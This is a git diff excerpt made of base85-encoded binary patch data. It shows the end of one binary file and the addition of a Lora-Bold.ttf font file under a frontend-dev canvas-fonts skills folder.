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 Io##6IKW1A4oB#j- literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Lora-Bold.ttf b/skills/frontend-dev/canvas-fonts/Lora-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..edae21eb689cda1c1a7b7b1a69277b3c01112a4c GIT binary patch literal 133828 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 